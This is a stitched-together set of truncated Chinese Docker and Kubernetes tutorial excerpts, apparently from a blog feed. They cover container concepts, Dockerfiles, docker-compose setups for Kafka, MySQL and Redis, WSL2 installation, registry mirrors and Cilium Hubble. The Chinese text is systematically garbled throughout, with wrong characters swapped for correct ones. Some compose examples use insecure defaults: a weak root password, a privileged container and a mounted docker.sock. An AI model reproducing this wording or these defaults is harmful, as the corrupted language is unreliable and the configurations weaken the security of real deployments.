、或者自建镜像存储仓库来存储你的镜像，当你的利用开发实现了，能够将利用打包进一个容器镜像，上传到镜像仓库，而后不管在任何环境都能够通过拉取镜像，执行镜像跑起来你的服务。 2. 独特的设计和封装，带来了体验上的改革。有小伙伴可能会说，既然内核的Namespace/Cgroup都曾经能够实现容器的基本功能了，那还要Docker干什么？ 咱本人创立一个Cgroup，而后把过程pid放进去，用Namespace搞个障眼法，分分钟跑起来，不也能达到容器的成果吗？这样有个问题是：容器对于用户来说是个黑盒，看不见摸不着，你甚至不晓得服务在容器里的运行状态，体验很不好。 然而Docker带来的用户体验，是齐全能够媲美虚拟机的，大家能够像登陆虚拟机一样登陆容器，执行shell命令，查看服务运行状态。这对于容器的体验来说是质的改革，传统开发者基本上不必适应容器的个性能够轻松上手了，这使得容器迅速火爆和大规模应用了起来，要感激Docker。 当初很多公司还做了所谓的 "富容器"，通过给容器运行公共的init过程，使得容器不跟业务服务的生命周期绑定，而后能够增加零碎Service过程、自定义运维组件等，进一步达到跟虚拟机一样的体验，使得容器更受欢迎。目前我司也应用了富容器技术，把员工的开发机全面换成了Docker，不再应用虚拟机了，整体体验差不多，但更灵便、轻量，老本有了进一步的晋升。 虚拟机和容器的区别？虚拟机和容器常常被放在一起探讨，但其实它们是必由之路的，只是实现计划不一样。 不论是虚拟机还是容器都有一个独特的指标，也能够说是最次要的指标：降低成本，毕竟老板比拟看重本人的钱袋子。 而数据表明，咱们的服务器老本的确存在着较大的优化空间。 美国环境保护署（EPA）报告的一组乏味的统计数据：EPA 钻研服务器和数据中心的能源效率时发现，实际上服务器只有 5% 的工夫是在工作的。在其余工夫，服务器都处于 “休眠” 状态。虚拟机和容器则是属于实现该指标的两种不同的计划，接下来通过几个网图来形象形容下两种技术的比对： 首先来看下咱们最开始的物理机时代，后面提到过，咱们每个服务器通常只会部署一个服务，就像小别墅一样，独立地基，且只住一家人，防止合住带来不必要的抵触。这个时候咱们是用物理机来实现了业务之间的隔离，然而服务器资源不像房子一样，越大越好，采纳物理机隔离导致物理机大部分工夫在空跑，带来了老本的开销，现实生活中也只有大户人家才住的起小别野，咱老百姓还是老本太高滴！ 想要降低成本，最外围的还是要共享，实现对主机资源的共享，在共享的前提下要先保障隔离，因为隔离是必要的，没有隔离咱们的业务就没法保障衰弱的运行。 接下来看下虚拟机和容器这两兄弟是如何解决这个问题的？ 虚拟机技术比拟像咱们当初的楼房，在一块地基上盖一栋楼，把一栋楼分成很多层，每一层属于不同的人家，这样相比于独栋别墅来说，能够同一块地基包容更多户的人家，这块地基不属于某一户人家，而是大家共享，随之带来的问题是住户和住户之间的距离感变小，隔离水平没有独栋别墅高，比方大家共享电梯，大门等。 虚拟机则是共享物理机资源，在同一个物理机上划分多个虚拟机，每个虚拟机都独立运行本人的操作系统 (类比每一层属于一户人家)。 宿主机通过 Hypervisor 在计算机硬件上创立形象层，将单个宿主机的硬件元素（包含处理器、内存、存储器等）分成多个虚构计算机，称为虚拟机。每个虚拟机都运行本人的操作系统 ，其行为相似于独立的计算机，实际上它仅在理论底层计算机硬件的一部分上运行。 ...

文丨 陈晓宇，阿里云技术专家 随同着云原生的倒退，从新近的单机版 Docker 到 Kubernetes 的编排畛域的一统江湖，再到云上托管 Kubernetes，技术风雨变动。明天咱们就沿着历史的脉络，一起看一下 Serverless Kubernetes 的发展史。 故事，从 Docker 讲起故事尽管从 Docker 讲起，但咱们不能漠视了 IaaS 先辈们在后面的乘风破浪，以及云计算大佬们很早就确定的云计算倒退布局。 在十几年前，先辈们从依照用户应用（云平台提供能力）维度，将云分为三层： • IaaS：Infrastructure as a Service，基础设施即服务，提供虚拟机或者其余根底资源作为服务提供给用户；• PaaS：Platform as a Service，平台即服务，将平台作为服务提供给用户，譬如在平台中能够随用随取各种中间件服务；• SaaS：Software as a Service，软件即服务，将利用作为服务提供给用户，譬如邮件服务。 如下图所示，从 IaaS 到 PaaS，用户（开发和运维）越来越少地感知根底资源，更加关注到业务当中。 让业余的人做业余的事件，从而施展整体的最大效率。譬如一个初创的互联网买菜公司，没有必要本人去建机房、洽购硬件、配置网络存储以及装置操作系统等与业务无关的事件，更应该把精力放到业务的开发和经营下面。 通过十几年的倒退，IaaS 曾经比拟成熟，各种根底资源，如 ECS、VPC、EBS 等曾经深入人心，但 PaaS 的倒退却十分迟缓。 早在 2008 年，Google 就推出了 App Engine 服务，想打造一个开发平台，让开发者只须要编写业务代码就能够在 App Engine 下面运行。这个思维过于超前，开发者还不能齐全承受。除了私有云以外，开源社区 PaaS 平台也在左突右冲。其中，IBM 的 Cloud Foundry 和 Redhat 的 OpenShift 最为闻名，他们都心愿提供一个利用疾速公布的平台，但也都是不温不火，反而因为各种兼容问题越来越难应用。 直到 2013 年 Docker 的诞生，一个对开发者充沛敌对、一个命令能够拉起一个服务，并极致简略的操作形式，让 Docker 一下成为社区最受欢迎的开源我的项目之一。 ...

本教程的前六篇文章： Docker 实战教程之从入门到进步 (一)Docker 实战教程之从入门到进步 (二)Docker 实战教程之从入门到进步 (三)Docker 实战教程之从入门到进步 (四)Docker 实战教程之从入门到进步 (五)Docker 实战教程之从入门到进步 (六)以及通过这篇文章的介绍，咱们深刻学习了 Docker 技术的三大要点。 从本文开始，咱们将学习如何将 Docker 镜像部署到云平台上并运行。 练习1：将 SpringBoot 利用 Docker 化首先须要把 SpringBoot 利用打包成 docker，我用的 dockerfile 内容为： FROM openjdk:8-jdk-alpineVOLUME /tmpVOLUME /logEXPOSE 8080ADD target/prolikeService.jar app.jarENV JAVA_OPTS="-Dserver.port=8080"ENTRYPOINT exec java $JAVA_OPTS -jar /app.jar应用如下的命令行打包： docker build -t i042416/springbootexample:v4 .docker login 登录 docker hub，将该镜像上传： docker push i042416/springbootexample:v4最初应用命令部署到 Cloud Platform上： cf push jerryjavadocker --docker-image i042416/springbootexample:v4 命令执行结束后，可能在 SAP 云平台的控制台里，看到这个胜利部署的 Docker 利用： 从控制台里失去利用 url： ...

本教程的前五篇文章： Docker 实战教程之从入门到进步 (一)Docker 实战教程之从入门到进步 (二)Docker 实战教程之从入门到进步 (三)Docker 实战教程之从入门到进步 (四)Docker 实战教程之从入门到进步 (五)以及通过这篇文章的介绍，咱们深刻学习了 Docker 技术的三大要点。 本文持续通过实战来深刻理解 Docker 技术。 练习1：运行在 Docker 里的 SpringBoot 利用，如何查看记录在文件系统的日志通过本教程后面的练习，咱们曾经学习了将一个 SpringBoot 利用打包成 Docker 镜像的步骤。那么这个 SpringBoot 利用运行在 Docker 容器镜像实例时，如何查看其生成的日志文件？ DockerFile如下： FROM openjdk:8-jdk-alpineVOLUME /tmpVOLUME /logADD target/prolikeService.jar app.jarENV JAVA_OPTS=""ENTRYPOINT exec java $JAVA_OPTS -jar /app.jar定义了一个 log 的长久化存储，这样 SpringBoot 利用在容器里运行时，咱们能够用命令行进入容器外部，查看 log 文件夹下的日志文件。 在 SpringBoot 利用的 Application.properties 配置文件里，设置日志文件的输入目录为 log： 应用下列的命令行制作镜像： docker build -t jerry/springbootexample:v1 .应用上面的命令行在镜像里运行 SpringBoot 利用： docker run -p 8000:9000 --name jerrydockerdemo -d jerry/springbootexample:v1应用 docker ps 查看镜像 id： ...

本系列的前四篇文章，咱们学习了如何在 Ubuntu 操作系统装置 Docker，并且通过实战练习，理解了 Docker 和宿主机操作系统文件目录相互隔离的实现原理，以及 Docker Volume 的工作原理。通过入手对 Nginx Docker 镜像进行批改，达到自定义其首页显示的目标。 Docker 实战教程之从入门到进步 (一)Docker 实战教程之从入门到进步 (二)Docker 实战教程之从入门到进步 (三)Docker 实战教程之从入门到进步 (四)在第四篇文章的最初一个练习，咱们介绍了如何将一个开发好的 Web 利用，放在 Docker 容器里运行。本文从此根底登程，介绍如何将这个 web 利用放在 Docker 容器外部后，通过 dockerfile 制作一个新的镜像。 练习1：应用 dockerfile 制作蕴含指定 web 利用的镜像新建一个文件夹 jerry-build, 将 您的 web 利用放到这个文件夹里，我的 web 利用放在文件夹 webapp 里。在 jerry-build 文件夹里新建一个文件 dockerfile： 这个dockerfile内容很简略，就三行： FROM nginx:stableCOPY webapp/ /usr/share/nginx/html/webapp/RUN ls -la /usr/share/nginx/html/webapp*咱们执行命令 docker build . 该命令胜利地将蕴含了咱们 web 利用的 webapp 文件夹内的所有文件打到 nginx 镜像内： 应用选项 -t 指定生成镜像的名称 jerry-nginx-image: ...

一、kafka docker-compose.yml 文件 version: '2'services: zookeeper: image: wurstmeister/zookeeper ports: - "2181:2181" kafka: image: wurstmeister/kafka:2.11-0.11.0.3 ports: - "9092:9092" environment: KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://selton.cn:9092 KAFKA_LISTENERS: PLAINTEXT://:9092 KAFKA_ZOOKEEPER_CONNECT: selton.cn:2181 volumes: - /var/run/docker.sock:/var/run/docker.sock二、docker-compose 疾速部署mysql和redis创立docker-compose.yml文件，并填写如下配置。 version: '3'services: mysql: restart: always privileged: true image: mysql:8.0 container_name: mysqlServer33106 volumes: - ./db:/var/lib/mysql - ./conf:/etc/mysql/conf.d - ./logs:/logs command: --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci --explicit_defaults_for_timestamp=true environment: MYSQL_ROOT_PASSWORD: "123456" MYSQL_INITDB_SKIP_TZINFO: "Asia/Shanghai" ports: - "33106:3306" network_mode: "bridge" redis-dev: image: redis:5.0.4 container_name: redis hostname: localhost network_mode: bridge command: redis-server /etc/redis.conf #启动redis命令 volumes: - ./redis/redis.conf:/etc/redis.conf ports: - "6379:6379"常用命令总结: ...

一、docker commit 定制镜像不要应用 docker commit 定制镜像，定制镜像应该应用 Dockerfile 来实现 在之前的例子中，咱们所应用的都是来自于 Docker Hub 的镜像。间接应用这些镜像是能够满足肯定的需要，但有时候咱们就须要定制本人的镜像。 $ docker run --name webserver -d -p 80:80 nginx$ docker exec -it webserver bashroot@3729b97e8226:/# echo '<h1>Hello, Docker!</h1>' > /usr/share/nginx/html/index.htmlroot@3729b97e8226:/# exitexit// 查看变动$ docker diff webserver当初咱们定制好了变动，咱们心愿能将其保留下来造成镜像。 而 Docker 提供了一个 docker commit 命令，能够将容器的存储层保留下来成为镜像。换句话说，就是在原有镜像的根底上，再叠加上容器的存储层，并形成新的镜像。当前咱们运行这个新镜像的时候，就会领有原有容器最初的文件变动。 docker commit [OPTIONS] CONTAINER [REPOSITORY[:TAG]]$ docker commit webserver lihaixing/docker-nginx:v1sha256:405bcabb583a2f06fece0c69543eac1fa2e94d84b2c2bf1858ff00cb74b5aec4// 镜像还在本地，看一下$ docker image ls lihaixing/docker-nginx$ docker run --name webserver2 -d -p 81:80 lihaixing/docker-nginx:v1此外，应用 docker commit 意味着所有对镜像的操作都是黑箱操作，生成的镜像也被称为 黑箱镜像 就是除了制作镜像的人晓得执行过什么命令、怎么生成的镜像，他人基本无从得悉。而且，即便是这个制作镜像的人，过一段时间后也无奈记清具体的操作。这种黑箱镜像的保护工作是十分苦楚的。 ...

Docker 最后是 dotCloud 公司创始人 Solomon Hykes 在法国期间发动的一个公司外部我的项目，它是基于 dotCloud 公司多年云服务技术的一次变革，并于 2013 年 3 月以 Apache 2.0 受权协定开源，次要我的项目代码在 GitHub 上进行保护。 Docker 我的项目起初还退出了 Linux 基金会，并成立推动 凋谢容器联盟（OCI）。 因为 Docker 我的项目的火爆，在 2013 年底，dotCloud 公司决定改名为 Docker。 Docker 最后是在 Ubuntu 12.04 上开发实现的；Red Hat 则从 RHEL 6.5 开始对 Docker 进行反对；Google 也在其 PaaS 产品中广泛应用 Docker。 上面的图片比拟了 Docker 和传统虚拟化形式的不同之处。传统虚拟机技术是虚构出一套硬件后，在其上运行一个残缺操作系统，在该零碎上再运行所需利用过程；而容器内的利用过程间接运行于宿主的内核，容器内没有本人的内核，而且也没有进行硬件虚构。因而容器要比传统虚拟机更为轻便。 一、docker次要概念1. 镜像Docker 镜像 是一个非凡的文件系统，除了提供容器运行时所需的程序、库、资源、配置等文件外，还蕴含了一些为运行时筹备的一些配置参数（如匿名卷、环境变量、用户等）。 镜像 不蕴含 任何动态数据，其内容在构建之后也不会被扭转 分层存储因为镜像蕴含操作系统残缺的 root 文件系统，其体积往往是宏大的，因而在 Docker 设计时，就充分利用 Union FS 的技术，将其设计为分层存储的架构 2. 容器镜像（Image）和容器（Container）的关系，就像是面向对象程序设计中的 类 和 实例 一样，镜像是动态的定义，容器是镜像运行时的实体。容器能够被创立、启动、进行、删除、暂停等。 ...

当初的我的项目部署运维中，应用Docker容器越来越多，Docker给咱们提供创立容器的形式也有好几种，次要是docker run命令、Dockerfile文件、docker-compose三种形式，一个比一个不便。 形式一：docker run 命令形式 docker run --name some-nginx -p 1080:80 -v /some/content:/usr/share/nginx/html -d nginx参数阐明：--name：定义容器名。-p：宿主机与容器的端口挂载，格局：宿主机端口:容器外部端口-v：宿主机目录与容器内目录映射，格局：宿主机目录:容器外部目录-d：后盾执行执行以上命令就能够啦，这里把容器名取名为some-nginx，把容器的80端口映射到宿主机的1080端口，容器内的/usr/share/nginx/html目录映射到宿主机的/some/content目录，应用的是nginx最新的镜像，镜像局部也能够写成 “nginx:版本”比方“nginx:1.15.1”。形式二：Dockerfile 配置文件构建镜像形式 1.创立一个文件，命名为Dockerfile,输出以下内容。FROM nginxCOPY html /usr/share/nginx/htmlFROM nginx 代表以nginx镜像为根底构建咱们的镜像。留神须要先在Dockerfile同目录创立html目录，不然会报错。Dockerfile文件内能够自定义镜像内容，有很多指令能够用，比方能够在配置容器创立后运行shell脚本等，能够自行查阅，本文仅做一个简略的用法示例入门。留神：Dockerfile 的指令每执行一次都会在 docker 上新建一层，所以尽量不要写太多层。2.在Dockerfile同目录下运行命令创立镜像docker build -t my-nginx-image .留神最初面有一个点3.运行容器docker run --name some-nginx -p 1080:80 -d my-nginx-image形式三：docker -compose形式 在须要治理多个容器时用以上两种形式都不太适宜，不仅要治理每个容器的配置信息，还要解决容器间的关系，这时候就须要docker-compose来做容器编排了。1.创立一个docker-compose.yml文件，输出以下内容

装置docker，因为wsl2曾经残缺应用了linux内核了，此种形式和先前在linux虚拟机装置docker相似，步骤如下：更新包 $ sudo apt-get update$ curl -fsSL https://get.docker.com -o get-docker.sh$ sudo sh get-docker.sh$ sudo service docker start执行脚本装置过程中，脚本提醒“倡议应用Docker Desktop for windows”，20s内按Ctrl+C会退出装置，所以须要期待20s，另外此种形式须要拜访外网。 查看Docker是否失常: # 查看dockerd过程启动service docker statusps aux|grep docker# 查看拉取镜像等失常docker pull busyboxdocker images留神：不同于齐全linux虚拟机形式，WLS2下通过apt install docker-ce命令装置的docker无奈启动，因为WSL2形式的ubuntu外面没有systemd。上述官网get-docker.sh装置的docker，dockerd过程是用ubuntu传统的init形式而非systemd启动的。 参考:https://zhuanlan.zhihu.com/p/...

本教程的前七篇文章： Docker 实战教程之从入门到进步 (一)Docker 实战教程之从入门到进步 (二)Docker 实战教程之从入门到进步 (三)Docker 实战教程之从入门到进步 (四)Docker 实战教程之从入门到进步 (五)Docker 实战教程之从入门到进步 (六)Docker 实战教程之从入门到进步 (七)以及通过这篇文章的介绍，咱们深刻学习了 Docker 技术的三大要点。 从本文开始，咱们将分享一些在 Windows 操作系统下的 Docker 实战演练。 练习1：如何在 Windows 操作系统下应用 Docker 运行一个 Web 利用本教程之前的文章，介绍的步骤全是在 Ubuntu 操作系统下应用 Docker 的步骤。本练习不便那些应用 Windows 操作系统的学习者，理解如何在 Windows 操作系统下应用 Docker. 这里的 Windows 特指 Windows 10.Windows 操作系统应用 Docker 的前提是要开启 Hyper V 虚构技术，在控制面板里把Hyper-V 后面的勾选中，重启即可。 Docker 官网下载 Docker For Windows 的 Community 版本： 下载下来是一个 900 多兆的可执行文件： 装置后，在右下角任务栏里能看到 Docker 的图标： ...

背景在装置kubernetes时会呈现无法访问镜像站的状况，通过GitHub将kubernetes镜像推送到阿里云之后，即可应用阿里云地址援用所需镜像，现已同步镜像5000+，以后还在陆续同步。仓库应用 Github Action 每天主动运行脚本同步镜像到阿里云。 代码仓库https://github.com/cby-chen/sys\_images 若有须要自行钻研 后续更新会在仓库更新 目前有如下镜像仓库，后续会陆续减少  docker.elastic.co:    - elasticsearch/elasticsearch    - kibana/kibana    - logstash/logstash    - beats/filebeat    - beats/heartbeat    - beats/packetbeat    - beats/auditbeat    - beats/journalbeat    - beats/metricbeat    - apm/apm-server    - app-search/app-search  quay.io:    - coreos/flannel    - ceph/ceph    - cephcsi/cephcsi    - csiaddons/k8s-sidecar    - csiaddons/volumereplication-operator    - prometheus/prometheus    - prometheus/alertmanager    - prometheus/pushgateway    - prometheus/blackbox-exporter    - prometheus/node-exporter    - prometheus-operator/prometheus-config-reloader    - prometheus-operator/prometheus-operator    - brancz/kube-rbac-proxy  k8s.gcr.io:    - etcd    - kube-proxy    - kube-apiserver    - kube-scheduler    - kube-controller-manager    - coredns/coredns    - dns/k8s-dns-node-cache    - metrics-server/metrics-server    - ingress-nginx/controller    - ingress-nginx/kube-webhook-certgen    - kube-state-metrics/kube-state-metrics    - prometheus-adapter/prometheus-adapter    - sig-storage/nfs-subdir-external-provisioner    - sig-storage/csi-node-driver-registrar    - sig-storage/csi-provisioner    - sig-storage/csi-resizer    - sig-storage/csi-snapshotter    - sig-storage/csi-attacher  gcr.io:    - kaniko-project/executor应用形式docker.elastic.co/kibana/{image_name}  ==>  registry.cn-hangzhou.aliyuncs.com/chenby/{image_name}quay.io/csiaddons/{image_name}  ==>  registry.cn-hangzhou.aliyuncs.com/chenby/{image_name}k8s.gcr.io/{image_name}  ==>  registry.cn-hangzhou.aliyuncs.com/chenby/{image_name}....拉去镜像docker pull registry.cn-hangzhou.aliyuncs.com/chenby/kube-scheduler:[镜像版本号] https://www.oiox.cn/ https://www.chenby.cn/ https://cby-chen.github.io/ https://weibo.com/u/5982474121 https://blog.csdn.net/qq\_33921750 https://my.oschina.net/u/3981543 https://www.zhihu.com/people/... https://segmentfault.com/u/hp... https://juejin.cn/user/331578... https://space.bilibili.com/35... https://cloud.tencent.com/dev... https://www.jianshu.com/u/0f8... https://www.toutiao.com/c/use... CSDN、GitHub、知乎、开源中国、思否、掘金、简书、腾讯云、哔哩哔哩、今日头条、新浪微博、集体博客、全网可搜《小陈运维》

本系列的前两篇文章，咱们曾经学习了 Docker 的装置步骤，通过理论的例子，学习了Docker 和宿主机操作系统文件目录相互隔离的实现原理，以及 Docker Volume 的工作原理： Docker 实战教程之从入门到进步 (一)Docker 实战教程之从入门到进步 (二)本文持续通过实战来学习如何编辑 Docker 镜像以及如何应用 Dockerfile 自制镜像。 练习1：Docker 镜像提交命令 commit 的工作原理和应用办法在本地创立一个容器后，能够根据这个容器创立本地镜像，并可把这个镜像推送到 Docker hub 中，以便在网络上下载应用。上面咱们来入手实际。 docker pull nginx:1.15.3 用命令行启动一个容器： docker run -d -p 1080:80 --name jerry-nginx nginx:1.15.3 拜访 url localhost:1080，能看到 Nginx 的默认首页： 进入容器的 shell： docker exec -it jerry-nginx /bin/bash查看这个 nginx 镜像默认的首页： 我想在容器里应用 wget，所以先装置： apt-get update && apt-get -y install wget 应用 wget 命令下载一个图片文件和一个 html 文件到 Nginx 服务器寄存网页的地位： wget --no-check-certificate -O /usr/share/nginx/html/evil.jpg https://github.com/raw/slvi/docker-k8s-training/master/docker/res/evil.jpgwget --no-check-certificate -O /usr/share/nginx/html/index.html https://github.com/raw/slvi/docker-k8s-training/master/docker/res/evil.html从新刷新页面，咱们当初看到的页面曾经变成了 wget 下载下来的页面： ...

1、设置右击任务栏 docker 图标，点击 setting 2、批改 Docker Engine点击 Docker Engine，在后面加上如下代码： "registry-mirrors": [ "https://xxxxx.mirror.aliyuncs.com", "http://hub-mirror.c.163.com" ], 3、点击 Apply & Restart点击 Apply & Restart 就行了

随着企业数字化过程的不断深入倒退，云原生技术成为业界一个煊赫一时的话题。所谓云原生，以容器、微服务、DevOps 等技术为根底，提供对利用进行分布式部署和对立治理的平台和体系。云原生是一系列思维和工具的汇合。从其概念定义可看出，容器技术是云原生的基石。在云原生畛域工作的开发人员，如果不理解和把握容器技术，好比试图在浮沙堤上建筑高楼大厦个别。 什么是容器在介绍为什么咱们须要容器之前，请大家先回顾一下本人的第一个 Hello World 程序的诞生史。在咱们费尽含辛茹苦，解决各种本地开发工具配置(编译器，环境变量等等)的问题之后，终于看到了 Hello World 的输入，那份喜悦之情显而易见，但咱们也绝不会遗记在遇到各种各样的环境配置问题时的丧气和无助。 笔者在基于本地部署(On-Premises)的企业级管理软件畛域工作十余年，遇到过一些同样版本的应用程序，在开发机和测试机上可能失常运行，部署到生产环境之后呈现故障的辣手问题，最初通过排查，这些问题都是因为运行环境的差别所导致。 而容器技术作为一种轻量级、可移植和自蕴含的软件打包技术，使应用程序能够在简直任何中央以雷同的形式运行。采纳容器技术，开发人员在本人本地开发环境创立并测试好的容器，无需任何批改就可能在生产零碎的虚拟机、物理服务器或私有云主机上运行，从而可能彻底防止软件因为运行环境的差别而可能呈现的各种运行问题。 初学者了解容器技术，能够从容器一词的字面含意动手。设想一下现实生活中的集装箱。咱们要把一批货物从一个中央运输到另一个中央，只须要把货物依照标准规定打包放入集装箱内，集装箱与集装箱之间不会相互影响，集装箱也并不关怀箱内到底装的是水果，衣物还是电子产品，所以这些货物的打包形式都遵循标准化规定。这些集装箱打包好之后，能够用通用的运输工具，比方汽车和货轮等进行运输。到了目的地之后，再用标准化的形式关上集装箱，取出外面的货物即可应用。

本系列第一篇文章，Docker 实战教程之从入门到进步 (一)，咱们曾经介绍了如何在 Ubuntu 操作系统中装置 Docker，以及 Proxy 和 Insecure Registry 的配置。 本文持续 Docker 的实战学习。 练习1：通过一个简略例子学习 Docker 和宿主机操作系统文件目录相互隔离的实现原理咱们晓得在 Docker 容器里是无法访问到宿主操作系统的文件目录的，但这种隔离是怎么实现的呢？其实一点也不神奇——利用了 Linux 零碎的外部命令 chroot.chroot 能将过程的根目录设置成任意指定的目录。 应用 chroot 咱们能创立一个新的过程，并且以 chroot 执行时传入的参数作为新过程的根目录。因为新过程创立之后就无法访问除了新过程创立时传入 chroot 参数之外的其余文件目录，为了确保这个新过程可能失常工作，咱们必须手动拷贝一些文件到新过程的根目录映射的旧目录下。 做一个如下测试： 新建一个文件夹，执行 chroot . 意思是把文件夹 $HOME/container 当作新建过程的根目录。然而没有胜利，报谬误音讯: chroot: failed to run command ‘/bin/bash’: No such file or directory 执行上面两条命令： 执行命令 ldd $HOME/container/bin/bash:该命令为了查看须要有哪些库文件得手动拷贝到文件夹 $/HOME/container/bin/bash上面： 依据 ldd 的输入，再次执行下图的八条命令： 再次执行 chroot . ，发现这次胜利了： pwd 发现是在根目录下，ls 也只能发现执行 chroot 时指定的 container 目录下的子目录： ...

笔者将本人在云原生开发中的 Kubernetes 工作教训写成了一个系列实战教程： 适宜 Kubernetes 初学者的一些实战练习 (一)适宜 Kubernetes 初学者的一些实战练习 (二)适宜 Kubernetes 初学者的一些实战练习 (三)适宜 Kubernetes 初学者的一些实战练习 (四)适宜 Kubernetes 初学者的一些实战练习 (五)适宜 Kubernetes 初学者的一些实战练习 (六)从本文开始，笔者将开启一个新的系列写作，主题是 Kubernetes 运行的基石之一：Docker 技术。 Docker 是一个开源的利用容器引擎，让开发者能够打包他们的利用以及依赖包到一个可移植的容器中，而后公布到任何风行的 Linux 机器上，也能够实现虚拟化。容器是齐全应用沙箱机制，相互之间不会有任何接口。 这个系列同下面提到的 Kubernetes 实战系列文章一样，分享若干笔者在理论我的项目中的 Docker 应用案例和教训。 练习1：Ubuntu 零碎里 Docker 的装置步骤因为 Ubuntu 里 apt 官网库里的 docker 版本比拟低，因而先用上面的命令行卸载旧版本（如果有的话） sudo apt-get remove docker docker-engine docker-ce docker.io 更新 apt 包索引： sudo apt-get update 执行下列命令行，使 apt 能够通过 HTTPS 协定去应用存储库： sudo apt-get install -y apt-transport-https ca-certificates curl software-properties-common增加 Docker 官网提供的 GPG 密钥： ...

在之前的平台中，对于组件之间的网络流向不具备间接的可观测性，用户组件间通信呈现问题，只能通过传统命令行工具进行手动排查，而 cilium 的 Hubble 服务能够提供 UI 界面向用户展现实时的流量状态，同时能够将这些指标裸露给 Prometheus 进行聚合整顿，让用户能够更直观的对底层网络状态进行观测监控。 开启 Hubble UI 服务cilium 的网络可观测性由 Hubble 服务提供，在装置 cilium 时，默认不会装置 Hubble ，能够通过以下命令开启 Hubble 服务 helm upgrade cilium cilium/cilium --version 1.11.2 \ --namespace kube-system \ --reuse-values \ --set hubble.relay.enabled=true \ --set hubble.ui.enabled=true部署实现后，能够通过以下命令确定状态 $ kubectl get po -n kube-system |grep hubblehubble-relay-65ff5f9bf6-247pt 1/1 Running 0 5d19hhubble-ui-5f7cdc86c7-gq5hs 3/3 Running 0 5d19h$ kubectl get svc -n kube-system | grep hubblehubble-relay ClusterIP 10.43.73.95 <none> 80/TCP 5d19hhubble-ui ClusterIP 10.43.20.190 <none> 80/TCP 5d19hHubble 部署实现后，集群内部还无奈间接拜访，能够通过以下形式开启对外拜访 ...

保留镜像 root@hello:~# docker pull minio/minioUsing default tag: latestlatest: Pulling from minio/miniod46336f50433: Pull complete be961ec68663: Pull complete 44173c602141: Pull complete a9809a6a679b: Pull complete df29d4a76971: Pull complete 2b5a8853d302: Pull complete 84f01ee8dfc1: Pull complete Digest: sha256:d786220feef7d8fe0239d41b5d74501dc824f6e7dd0e5a05749c502fff225bf3Status: Downloaded newer image for minio/minio:latestdocker.io/minio/minio:latestroot@hello:~#root@hello:~# docker save > minio.tar minio/minioroot@hello:~# ll minio.tar-rw-r--r-- 1 root root 415240704 Mar 30 07:03 minio.tarroot@hello:~#导入镜像 root@hello:~# docker load -i minio.tar 744c86b54390: Loading layer [==================================================>] 104.1MB/104.1MB1323ffbff4dd: Loading layer [==================================================>] 20.48kB/20.48kB9a5123a464dc: Loading layer [==================================================>] 3.584kB/3.584kB9e9eecfbe95d: Loading layer [==================================================>] 3.584kB/3.584kB6088fcbd6a76: Loading layer [==================================================>] 1.724MB/1.724MB678ce496e457: Loading layer [==================================================>] 36.86kB/36.86kB50f383b04a07: Loading layer [==================================================>] 309.3MB/309.3MBLoaded image: minio/minio:latestroot@hello:~#创立目录 ...

保留镜像 root@hello:~# docker pull redis:latestlatest: Pulling from library/redisa2abf6c4d29d: Already exists c7a4e4382001: Pull complete 4044b9ba67c9: Pull complete c8388a79482f: Pull complete 413c8bb60be2: Pull complete 1abfd3011519: Pull complete Digest: sha256:db485f2e245b5b3329fdc7eff4eb00f913e09d8feb9ca720788059fdc2ed8339Status: Downloaded newer image for redis:latestdocker.io/library/redis:latestroot@hello:~# root@hello:~# docker save > redis.tar redis:latest root@hello:~# root@hello:~# ll redis.tar -rw-r--r-- 1 root root 116304384 Mar 30 07:30 redis.tarroot@hello:~#导入镜像 root@hello:~# docker load -i redis.tar 2edcec3590a4: Loading layer [==================================================>] 83.86MB/83.86MB9b24afeb7c2f: Loading layer [==================================================>] 338.4kB/338.4kB4b8e2801e0f9: Loading layer [==================================================>] 4.274MB/4.274MB529cdb636f61: Loading layer [==================================================>] 27.8MB/27.8MB9975392591f2: Loading layer [==================================================>] 2.048kB/2.048kB8e5669d83291: Loading layer [==================================================>] 3.584kB/3.584kBLoaded image: redis:latest创立目录，批改配置 ...

微信公众号：奔跑吧Linux社区关注可理解更多的Linux相干的常识。问题或倡议，请公众号留言;欢送订阅笨叔旗舰篇视频节目：https://weidian.com/?userid=1... MAC for docker真慢笨叔听人忽悠买了MAC，发现在MAC上编译runninglinuxkernel真麻烦，须要装置一个vmware或者vbox虚拟机。起初据说能够在MAC上装置一个docker，在docker里编译和运行runninglinuxkenrel，那个速度真是一个叫蜗牛。我在vmware虚拟机里编译内核须要大略6分钟，在docker里编译须要60分钟，慢10倍。 真没法用了。 docker sync减速起初笨叔据说docker for MAC比较慢，是因为host和docker文件系统之间传货色比较慢，就是IO慢，能够应用docker sync来减速。 docker sync装置起来用比较简单。 先装置docker-syncgem install --user-install docker-sync批改~/.bashrc文件，增加如下语句。 if which ruby >/dev/null && which gem >/dev/null; then PATH="$(ruby -r rubygems -e 'puts Gem.user_dir')/bin:$PATH" fi 而后运行：source ~/.bashrc让环境变量失效。 装置其余必要的包。brew install unisonbrew install eugenmayer/dockersync/unox在须要和docker 同步的目录（假如你要同步的目录是：/Users/figo/work）上面创立一个docker-sync.yml文件。在该文件中增加如下语句。version: '2' syncs: mac_sync: sync_strategy: 'unison' src: '.'下面脚本咱们创立了一个mac_sync的同步的标签，它会把/Users/figo/work目录同步到docker里。 启动dock-sync服务。$cd /Users/figo/work $ docker-sync start ok Starting unison for sync mac_sync ok Synced /Users/figo/work success Unison server started ok Synced /Users/figo/work success Starting Docker-Sync in the background$ ...

一：装置docker和docker-compose具体装置形式自行查阅材料装置，这里就不赘述了 二：下载mysql-nginx-php镜像并装置一些根底软件及拓展1:下载mysql镜像docker pull mysql:5.72：下载nginx镜像docker pull nginx:1.21.63：下载php镜像docker pull php:7.2-fpm4：给php根底镜像装置拓展及根底软件docker run -it --name php php:7.2-fpm /bin/bash应用docker run运行镜像并进入镜像而后执行如下操作 #apt-get 更新apt-get update#根底依赖装置apt-get update && apt-get install -y libfreetype6-dev libjpeg62-turbo-dev libmcrypt-dev libpng-dev#装置wgetapt-get install wget#装置定时器crontabapt-get install cron#装置supervisor过程治理apt-get install supervisor#装置php拓展cd ~wget https://raw.githubusercontent.com/mlocati/docker-php-extension-installer/master/install-php-extensionsmv install-php-extensions /usr/local/binchmod uga+x /usr/local/bin/install-php-extensions && syncinstall-php-extensions 拓展名(bcmath,decimal,exif,gd,imagick,intl,memcached,mongodb,pcntl,pdo_mysql,pdo_pgsql,soap,swoole,zip)#减少一个www用户adduser 